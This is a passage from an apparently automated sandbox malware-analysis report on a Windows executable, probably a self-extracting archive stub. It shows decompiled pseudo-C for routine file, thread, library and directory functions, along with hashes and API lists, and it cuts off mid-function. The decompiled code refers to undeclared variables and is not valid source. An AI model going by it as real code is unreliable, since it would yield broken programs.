Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
String ID: riched20.dll
API String ID: 3498096277-3360196438
Opcode ID: eb2049705c0a7c29cbbe2fdbd58b1752dbb7f7f10797e94f738b4e31a36c6894
Instruction ID: 9e8757544ae46f95166f2149af0304ec672976d70d52f0e42f196bad7dab6294
Opcode Fuzzy Hash: eb2049705c0a7c29cbbe2fdbd58b1752dbb7f7f10797e94f738b4e31a36c6894
Instruction Fuzzy Hash: F0F062B1C00209ABCB10AF99D8499EFFFFCEF95315F00415AE818E2240DBB446558FA1

Uniqueness

Uniqueness Score: -1.00%

Function 0025D104 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 66%

			E0025D104(void* __eflags, WCHAR* _a4) {
				char _v8196;
				int _t7;
				WCHAR* _t12;
				void* _t14;

				_t14 = __eflags;
				E0025E1C0();
				SetEnvironmentVariableW(L"sfxcmd", _a4); // executed
				_t7 = E0024FB18(_t14, _a4,  &_v8196, 0x1000);
				_t12 = _t7;
				if(_t12 != 0) {
					_push( *_t12 & 0x0000ffff);
					while(E0024FC31() != 0) {
						_t12 =  &(_t12[1]);
						__eflags = _t12;
						_push( *_t12 & 0x0000ffff);
					}
					_t7 = SetEnvironmentVariableW(L"sfxpar", _t12);
				}
				return _t7;
			}

0x0025d104
0x0025d10c
0x0025d11a
0x0025d12f
0x0025d134
0x0025d138
0x0025d13d
0x0025d147
0x0025d140
0x0025d140
0x0025d146
0x0025d146
0x0025d156
0x0025d156
0x0025d160

APIs

SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 0025D11A
SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 0025D156

Strings

sfxpar, xrefs: 0025D151
sfxcmd, xrefs: 0025D115

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: c5007099a0cc84d09b1148e16cc2ca6408179d6a2eaf831493999590f7014f51
Instruction ID: 9b49f87e69ad61e368139bbdc9e7d4a39d045e6ef2923ea64684880993f623c3
Opcode Fuzzy Hash: c5007099a0cc84d09b1148e16cc2ca6408179d6a2eaf831493999590f7014f51
Instruction Fuzzy Hash: 0CF0A771821238A6CB246FD19C09BAA775CEF06782B008055FD4C96141D7719CA4DAF5

Uniqueness

Uniqueness Score: -1.00%

Function 002497EE Relevance: 6.1, APIs: 4, Instructions: 57
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 59%

			E002497EE(void* __ecx, void* _a4, long _a8) {
				long _v8;
				int _t14;
				signed int _t15;
				void* _t25;

				_push(__ecx);
				_t25 = __ecx;
				if( *((intOrPtr*)(__ecx + 0xc)) == 1) {
					 *(_t25 + 4) = GetStdHandle(0xfffffff6);
				}
				_t14 = ReadFile( *(_t25 + 4), _a4, _a8,  &_v8, 0); // executed
				if(_t14 != 0) {
					_t15 = _v8;
				} else {
					_t16 = E00249929(_t25);
					if(_t16 == 0) {
						L7:
						if( *((intOrPtr*)(_t25 + 0xc)) != 1) {
							L10:
							if( *((intOrPtr*)(_t25 + 0xc)) != 0 || _a8 <= 0x8000) {
								L14:
								_t15 = _t16 | 0xffffffff;
							} else {
								_t16 = GetLastError();
								if(_t16 != 0x21) {
									goto L14;
								} else {
									_push(0x8000);
									goto L6;
								}
							}
						} else {
							_t16 = GetLastError();
							if(_t16 != 0x6d) {
								goto L10;
							} else {
								_t15 = 0;
							}
						}
					} else {
						_t16 = 0x4e20;
						if(_a8 <= 0x4e20) {
							goto L7;
						} else {
							_push(0x4e20);
							L6:
							_push(_a4);
							_t15 = E002497EE(_t25);
						}
					}
				}
				return _t15;
			}

0x002497f1
0x002497f3
0x002497fa
0x00249804
0x00249804
0x00249816
0x0024981e
0x0024987a
0x00249820
0x00249822
0x00249829
0x00249842
0x00249846
0x00249857
0x0024985b
0x00249875
0x00249875
0x00249867
0x00249867
0x00249870
0x00000000
0x00249872
0x00249872
0x00000000
0x00249872
0x00249870
0x00249848
0x00249848
0x00249851
0x00000000
0x00249853
0x00249853
0x00249853
0x00249851
0x0024982b
0x0024982b
0x00249833
0x00000000
0x00249835
0x00249835
0x00249836
0x00249836
0x0024983b
0x0024983b
0x00249833
0x00249829
0x00249882

APIs

GetStdHandle.KERNEL32(000000F6), ref: 002497FE
ReadFile.KERNELBASE(?,?,00000001,?,00000000), ref: 00249816
GetLastError.KERNEL32 ref: 00249848
GetLastError.KERNEL32 ref: 00249867

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: 41b418fc7836dcb84ab733d75e6eda86d25c4730e16c071219c7c88bba6dd207
Instruction ID: 275b9f1c9d06c334d2d62e9c2b2c2f29210c68a39427f3f08e222e41be4ecf4e
Opcode Fuzzy Hash: 41b418fc7836dcb84ab733d75e6eda86d25c4730e16c071219c7c88bba6dd207
Instruction Fuzzy Hash: EE11AC30920A05EBDB285F58DC08A6B37A9FB13371F10C56AF86A851A0D776CDE4DF61

Uniqueness

Uniqueness Score: -1.00%

Function 0025AD3D Relevance: 6.1, APIs: 4, Instructions: 54
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0025AD3D(void* __ecx, void* __edx, void* __fp0) {
				signed int _v20;
				signed int _v24;
				void _v28;
				void* _t6;
				void* _t11;
				void* _t13;
				signed int _t18;
				signed int _t19;
				void* _t21;
				void* _t22;
				void* _t26;
				void* _t32;

				_t32 = __fp0;
				_t21 = __edx;
				_t6 = LoadBitmapW( *0x27fed0, 0x65); // executed
				_t22 = _t6;
				_t19 = _t18 & 0xffffff00 | _t22 == 0x00000000;
				_t28 = _t19;
				if(_t19 != 0) {
					_t22 = E00259D9A(0x65);
				}
				GetObjectW(_t22, 0x18,  &_v28);
				if(E00259C8A(_t28) != 0) {
					if(_t19 != 0) {
						_t26 = E00259D9A(0x66);
						if(_t26 != 0) {
							DeleteObject(_t22);
							_t22 = _t26;
						}
					}
					_t11 = E00259CEC(_v20);
					_t13 = E00259EDB(_t21, _t32, _t22, E00259CA9(_v24), _t11);
					DeleteObject(_t22);
					_t22 = _t13;
				}
				return _t22;
			}

0x0025ad3d
0x0025ad3d
0x0025ad4d
0x0025ad53
0x0025ad57
0x0025ad5a
0x0025ad5c
0x0025ad65
0x0025ad65
0x0025ad6e
0x0025ad7b
0x0025ad80
0x0025ad89
0x0025ad8d
0x0025ad90
0x0025ad96
0x0025ad96
0x0025ad8d
0x0025ad9b
0x0025adab
0x0025adb3
0x0025adb9
0x0025adbb
0x0025adc3

APIs

LoadBitmapW.USER32(00000065), ref: 0025AD4D
GetObjectW.GDI32(00000000,00000018,?), ref: 0025AD6E
DeleteObject.GDI32(00000000), ref: 0025AD90
DeleteObject.GDI32(00000000), ref: 0025ADB3

Part of subcall function 00259D9A: FindResourceW.KERNEL32(0025AD89,PNG,?,?,?,0025AD89,00000066), ref: 00259DAC
Part of subcall function 00259D9A: SizeofResource.KERNEL32(00000000,00000000,?,?,?,0025AD89,00000066), ref: 00259DC4
Part of subcall function 00259D9A: LoadResource.KERNEL32(00000000,?,?,?,0025AD89,00000066), ref: 00259DD7
Part of subcall function 00259D9A: LockResource.KERNEL32(00000000,?,?,?,0025AD89,00000066), ref: 00259DE2

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: Resource$Object$DeleteLoad$BitmapFindLockSizeof
String ID:
API String ID: 142272564-0
Opcode ID: 2e5da25afcfeabccd32e8815b9b4fc54a5a059d14753abc7cc4a3b3553e0c100
Instruction ID: 72302ae254cb7e2bc65d28848b2291b9906534748f245d4c1b37e3be7a37bff9
Opcode Fuzzy Hash: 2e5da25afcfeabccd32e8815b9b4fc54a5a059d14753abc7cc4a3b3553e0c100
Instruction Fuzzy Hash: 7701F736591215ABC71137246D0BA7F7ABDAF86BA3F080111FD00A7295DE328C7949A5

Uniqueness

Uniqueness Score: -1.00%

Function 0026A374 Relevance: 6.1, APIs: 4, Instructions: 52
libraryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E0026A374(signed int _a4) {
				signed int _t9;
				void* _t10;
				void* _t13;
				signed int _t15;
				WCHAR* _t22;
				signed int _t24;
				signed int* _t25;
				void* _t27;

				_t9 = _a4;
				_t25 = 0x2a05d8 + _t9 * 4;
				_t24 =  *_t25;
				if(_t24 == 0) {
					_t22 =  *(0x275e70 + _t9 * 4);
					_t10 = LoadLibraryExW(_t22, 0, 0x800); // executed
					_t27 = _t10;
					if(_t27 != 0) {
						L8:
						 *_t25 = _t27;
						if( *_t25 != 0) {
							FreeLibrary(_t27);
						}
						_t13 = _t27;
						L11:
						return _t13;
					}
					_t15 = GetLastError();
					if(_t15 != 0x57) {
						_t27 = 0;
					} else {
						_t15 = LoadLibraryExW(_t22, _t27, _t27);
						_t27 = _t15;
					}
					if(_t27 != 0) {
						goto L8;
					} else {
						 *_t25 = _t15 | 0xffffffff;
						_t13 = 0;
						goto L11;
					}
				}
				_t4 = _t24 + 1; // 0xdef7aacf
				asm("sbb eax, eax");
				return  ~_t4 & _t24;
			}

0x0026a379
0x0026a37d
0x0026a384
0x0026a388
0x0026a396
0x0026a3a6
0x0026a3ac
0x0026a3b0
0x0026a3d9
0x0026a3db
0x0026a3df
0x0026a3e2
0x0026a3e2
0x0026a3e8
0x0026a3ea
0x00000000
0x0026a3eb
0x0026a3b2
0x0026a3bb
0x0026a3ca
0x0026a3bd
0x0026a3c0
0x0026a3c6
0x0026a3c6
0x0026a3ce
0x00000000
0x0026a3d0
0x0026a3d3
0x0026a3d5
0x00000000
0x0026a3d5
0x0026a3ce
0x0026a38a
0x0026a38f
0x00000000

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,00000800,002636CF,00000000,00000000,?,0026A31B,002636CF,00000000,00000000,00000000,?,0026A518,00000006,FlsSetValue), ref: 0026A3A6
GetLastError.KERNEL32(?,0026A31B,002636CF,00000000,00000000,00000000,?,0026A518,00000006,FlsSetValue,00276328,00276330,00000000,00000364,?,00268EF7), ref: 0026A3B2
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0026A31B,002636CF,00000000,00000000,00000000,?,0026A518,00000006,FlsSetValue,00276328,00276330,00000000), ref: 0026A3C0

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: da7da727a2e1a67f4f864297f9676234354ee6fbaaddbf1825258e81ac0439ab
Instruction ID: f91aaf1f82d8da03ebed5f9c88f6d58a71d4accfa5fc7f4e9dac685e51af017c
Opcode Fuzzy Hash: da7da727a2e1a67f4f864297f9676234354ee6fbaaddbf1825258e81ac0439ab
Instruction Fuzzy Hash: AA01A732A21227DBC7214F68AC48A567B58BF157627100561F90AF7380D760D8B4CEE1

Uniqueness

Uniqueness Score: -1.00%

Function 002507E7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49
threadCOMMON

Download Yara Rule

C-Code - Quality: 71%

			E002507E7() {
				long _v4;
				void* __ecx;
				void* __esi;
				void* __ebp;
				void* _t5;
				void* _t7;
				int _t8;
				void* _t12;
				void** _t18;
				void* _t22;

				_t12 = 0;
				if( *0x27ff50 > 0) {
					_t18 = 0x27ff54;
					do {
						_t7 = CreateThread(0, 0x10000, E00250930, 0x27ff50, 0,  &_v4); // executed
						_t22 = _t7;
						if(_t22 == 0) {
							_push(L"CreateThread failed");
							_push(0x27ff50);
							E00246E21(E00262DC0(E00246E26(0x27ff50)), 0x27ff50, 0x27ff50, 2);
						}
						 *_t18 = _t22;
						 *0x00280054 =  *((intOrPtr*)(0x280054)) + 1;
						_t8 =  *0x2871d8; // 0x0
						if(_t8 != 0) {
							_t8 = SetThreadPriority( *_t18, _t8);
						}
						_t12 = _t12 + 1;
						_t18 =  &(_t18[1]);
					} while (_t12 <  *0x27ff50);
					return _t8;
				}
				return _t5;
			}

0x002507ec
0x002507f0
0x002507f4
0x002507f7
0x0025080b
0x00250811
0x00250815
0x00250817
0x0025081c
0x00250839
0x00250839
0x0025083e
0x00250840
0x00250846
0x0025084d
0x00250852
0x00250852
0x00250858
0x00250859
0x0025085c
0x00000000
0x00250861
0x00250865

APIs

CreateThread.KERNELBASE ref: 0025080B
SetThreadPriority.KERNEL32(?,00000000), ref: 00250852

Part of subcall function 00246E26: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00246E44

Strings

CreateThread failed, xrefs: 00250817

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: Thread$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2655393344-3849766595
Opcode ID: 6cedb404e8ca81b86f0ecd0e1c7e325b705e15739aada78501e7443a45b0478c
Instruction ID: d20e2d32a53b5a9643563f8b01334db2bff2e543b2da37c4b4e237601e2060e7
Opcode Fuzzy Hash: 6cedb404e8ca81b86f0ecd0e1c7e325b705e15739aada78501e7443a45b0478c
Instruction Fuzzy Hash: 850126B1364302ABD6245E50EDC9FA67399EB52712F20003DFA49961C0CEB0ACA8CA35

Uniqueness

Uniqueness Score: -1.00%

Function 00249E6F Relevance: 4.6, APIs: 3, Instructions: 107
fileCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E00249E6F(void* __edx, void* _a4, long _a8) {
				char _v4;
				long _v8;
				void* __ecx;
				void* __ebp;
				int _t28;
				intOrPtr _t31;
				long _t36;
				int _t39;
				void* _t43;
				intOrPtr* _t49;
				intOrPtr* _t50;
				void* _t58;
				intOrPtr _t62;
				void* _t66;
				long _t68;

				_t58 = __edx;
				_t68 = _a8;
				_t49 = _t50;
				if(_t68 != 0) {
					if( *((intOrPtr*)(_t49 + 0xc)) == 1) {
						 *(_t49 + 4) = GetStdHandle(0xfffffff5);
					}
					while(1) {
						do {
							_v8 = _v8 & 0x00000000;
							_v4 = 0;
							if( *((intOrPtr*)(_t49 + 0xc)) == 0) {
								_t28 = WriteFile( *(_t49 + 4), _a4, _t68,  &_v8, 0); // executed
								asm("sbb al, al");
								_t31 =  ~(_t28 - 1) + 1;
								_v4 = _t31;
								L14:
								if(_t31 != 0) {
									L22:
									 *((char*)(_t49 + 8)) = 1;
									return _v4;
								}
								L15:
								if( *((char*)(_t49 + 0x14)) == 0 ||  *((intOrPtr*)(_t49 + 0xc)) != 0) {
									goto L22;
								} else {
									_t65 = _t49 + 0x1e;
									if(E00246DAD(0x27ff50, _t49 + 0x1e, 0) == 0) {
										E00246FF6(0x27ff50, _t68, 0, _t65);
										goto L22;
									}
									goto L18;
								}
							}
							_t66 = 0;
							if(_t68 == 0) {
								goto L15;
							} else {
								goto L8;
							}
							while(1) {
								L8:
								_t36 = _t68 - _t66;
								if(_t36 >= 0x4000) {
									_t36 = 0x4000;
								}
								_t39 = WriteFile( *(_t49 + 4), _a4 + _t66, _t36,  &_v8, 0);
								asm("sbb al, al");
								_t31 =  ~(_t39 - 1) + 1;
								_v4 = _t31;
								if(_t31 == 0) {
									goto L15;
								}
								_t66 = _t66 + 0x4000;
								if(_t66 < _t68) {
									continue;
								}
								goto L14;
							}
							goto L15;
							L18:
						} while (_v8 >= _t68 || _v8 <= 0);
						_t62 =  *_t49;
						 *0x272260(0);
						_t43 =  *((intOrPtr*)( *((intOrPtr*)(_t62 + 0x14))))();
						asm("sbb edx, 0x0");
						 *0x272260(_t43 - _v8, _t58);
						 *((intOrPtr*)(_t62 + 0x10))();
					}
				}
				return 1;
			}

0x00249e6f
0x00249e73
0x00249e77
0x00249e7b
0x00249e88
0x00249e92
0x00249e92
0x00249e97
0x00249e9c
0x00249e9c
0x00249ea5
0x00249eaa
0x00249ef8
0x00249f01
0x00249f03
0x00249f05
0x00249f09
0x00249f0b
0x00249f7e
0x00249f83
0x00000000
0x00249f87
0x00249f0d
0x00249f11
0x00000000
0x00249f19
0x00249f1b
0x00249f2b
0x00249f79
0x00000000
0x00249f79
0x00000000
0x00249f2b
0x00249f11
0x00249eac
0x00249eb0
0x00000000
0x00000000
0x00000000
0x00000000
0x00249eb2
0x00249eb2
0x00249eb4
0x00249eb8
0x00249eba
0x00249eba
0x00249ece
0x00249ed7
0x00249ed9
0x00249edb
0x00249edf
0x00000000
0x00000000
0x00249ee1
0x00249ee5
0x00000000
0x00000000
0x00000000
0x00249ee7
0x00000000
0x00249f2d
0x00249f2d
0x00249f42
0x00249f4b
0x00249f53
0x00249f5c
0x00249f61
0x00249f69
0x00249f69
0x00249e97
0x00000000

APIs

GetStdHandle.KERNEL32(000000F5,?,00000001,?,?,0024CBD4,00000001,?,?,?,00000000,00254E3D,?,?,?), ref: 00249E8C
WriteFile.KERNEL32(?,?,?,00000000,00000000,?,?,00000000,00254E3D,?,?,?,?,?,002548E2,?), ref: 00249ECE
WriteFile.KERNELBASE(?,?,?,00000000,00000000,?,?,?,00000001,?,?,0024CBD4,00000001,?,?), ref: 00249EF8

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: c4557498cf514a28b193c8394911722b8b71df493586da1b76415f8b067ba6f9
Instruction ID: 1b5ee2408184d93dbc964627d17d64eca5c2c31bcf8d3db75dbab709b4b96eef
Opcode Fuzzy Hash: c4557498cf514a28b193c8394911722b8b71df493586da1b76415f8b067ba6f9
Instruction Fuzzy Hash: 323124706183029BDF18CF20D908B6BBBA8EB91710F04455AF8499B591CB71DC9CCBB2

Uniqueness

Uniqueness Score: -1.00%

Function 0024A147 Relevance: 4.6, APIs: 3, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0024A147(void* __ecx, void* __eflags, WCHAR* _a4, char _a8, intOrPtr _a12) {
				short _v4100;
				signed int _t8;
				long _t10;
				void* _t11;
				int _t18;
				WCHAR* _t21;

				E0025E1C0();
				_t21 = _a4;
				_t8 =  *(E0024BBA9(__eflags, _t21)) & 0x0000ffff;
				if(_t8 == 0x2e || _t8 == 0x20) {
					L3:
					if(E0024A0C0(_t21) != 0 || E0024B5AC(_t21,  &_v4100, 0x800) == 0 || CreateDirectoryW( &_v4100, 0) == 0) {
						_t10 = GetLastError();
						__eflags = _t10 - 2;
						if(_t10 == 2) {
							L12:
							_t11 = 2;
						} else {
							__eflags = _t10 - 3;
							if(_t10 == 3) {
								goto L12;
							} else {
								_t11 = 1;
							}
						}
					} else {
						goto L6;
					}
				} else {
					_t18 = CreateDirectoryW(_t21, 0); // executed
					if(_t18 != 0) {
						L6:
						if(_a8 != 0) {
							E0024A384(_t21, _a12);
						}
						_t11 = 0;
					} else {
						goto L3;
					}
				}
				return _t11;
			}

0x0024a14f
0x0024a155
0x0024a15e
0x0024a164
0x0024a178
0x0024a180
0x0024a1be
0x0024a1c4
0x0024a1c7
0x0024a1d3
0x0024a1d5
0x0024a1c9
0x0024a1c9
0x0024a1cc
0x00000000
0x0024a1ce
0x0024a1d0
0x0024a1d0
0x0024a1cc
0x00000000
0x00000000
0x00000000
0x0024a16b
0x0024a16e
0x0024a176
0x0024a1ab
0x0024a1af
0x0024a1b5
0x0024a1b5
0x0024a1ba
0x00000000
0x00000000
0x00000000
0x0024a176
0x0024a1da

APIs

CreateDirectoryW.KERNELBASE(?,00000000,?,?,?,0024A053,?,00000001,00000000,?,?), ref: 0024A16E
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?,?,?,0024A053,?,00000001,00000000,?,?), ref: 0024A1A1
GetLastError.KERNEL32(?,?,?,?,0024A053,?,00000001,00000000,?,?), ref: 0024A1BE

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: CreateDirectory$ErrorLast
String ID:
API String ID: 2485089472-0
Opcode ID: 3181009d6962b30103abd81605a24e60a0196459c20d6c5ae80ddb758490bacb
Instruction ID: b3d09dfa38ece387673545c417284026622d8015e2a9c728f85b86e2f710af77
Opcode Fuzzy Hash: 3181009d6962b30103abd81605a24e60a0196459c20d6c5ae80ddb758490bacb
Instruction Fuzzy Hash: 6801BC311F1216A6EB2AAF785C4ABEE3358AF1A381F044441FC0DE6091D764D9A5DAB3

Uniqueness

Uniqueness Score: -1.00%

Function 0026AE73 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E0026AE73(void* __ebx, signed int __edx, void* __edi, void* __esi, intOrPtr _a4) {
				signed int _v8;
				char _v264;
				char _v520;
				char _v776;
				char _v1800;
				char _v1814;
				struct _cpinfo _v1820;
				intOrPtr _v1824;
				signed int _v1828;
				signed int _t63;
				void* _t67;
				signed int _t68;
				intOrPtr _t69;
				void* _t72;
				char _t73;
				char _t74;
				signed char _t75;
				signed int _t76;
				signed char _t86;
				char _t87;
				char _t90;
				signed int _t93;
				signed int _t94;
				signed int _t95;
				void* _t96;
				char* _t97;
				intOrPtr _t101;
				signed int _t102;

				_t95 = __edx;
				_t63 =  *0x27d668; // 0xdef7aace
				_v8 = _t63 ^ _t102;
				_t101 = _a4;
				_t4 = _t101 + 4; // 0x5efc4d8b
				if(GetCPInfo( *_t4,  &_v1820) == 0) {
					_t47 = _t101 + 0x119; // 0x26b4c6
					_t96 = _t47;
					_t90 = 0;
					_t67 = 0xffffff9f;
					_t68 = _t67 - _t96;
					__eflags = _t68;
					_v1828 = _t68;
					do {
						_t97 = _t96 + _t90;
						_t69 = _t68 + _t97;
						_v1824 = _t69;
						__eflags = _t69 + 0x20 - 0x19;
						if(_t69 + 0x20 > 0x19) {
							__eflags = _v1824 - 0x19;
							if(_v1824 > 0x19) {
								 *_t97 = 0;
							} else {
								_t72 = _t101 + _t90;
								_t57 = _t72 + 0x19;
								 *_t57 =  *(_t72 + 0x19) | 0x00000020;
								__eflags =  *_t57;
								_t59 = _t90 - 0x20; // -32
								_t73 = _t59;
								goto L24;
							}
						} else {
							 *(_t101 + _t90 + 0x19) =  *(_t101 + _t90 + 0x19) | 0x00000010;
							_t54 = _t90 + 0x20; // 0x20
							_t73 = _t54;
							L24:
							 *_t97 = _t73;
						}
						_t68 = _v1828;
						_t61 = _t101 + 0x119; // 0x26b4c6
						_t96 = _t61;
						_t90 = _t90 + 1;
						__eflags = _t90 - 0x100;
					} while (_t90 < 0x100);
				} else {
					_t74 = 0;
					do {
						 *((char*)(_t102 + _t74 - 0x104)) = _t74;
						_t74 = _t74 + 1;
					} while (_t74 < 0x100);
					_t75 = _v1814;
					_t93 =  &_v1814;
					_v264 = 0x20;
					while(1) {
						_t108 = _t75;
						if(_t75 == 0) {
							break;
						}
						_t95 =  *(_t93 + 1) & 0x000000ff;
						_t76 = _t75 & 0x000000ff;
						while(1) {
							__eflags = _t76 - _t95;
							if(_t76 > _t95) {
								break;
							}
							__eflags = _t76 - 0x100;
							if(_t76 < 0x100) {
								 *((char*)(_t102 + _t76 - 0x104)) = 0x20;
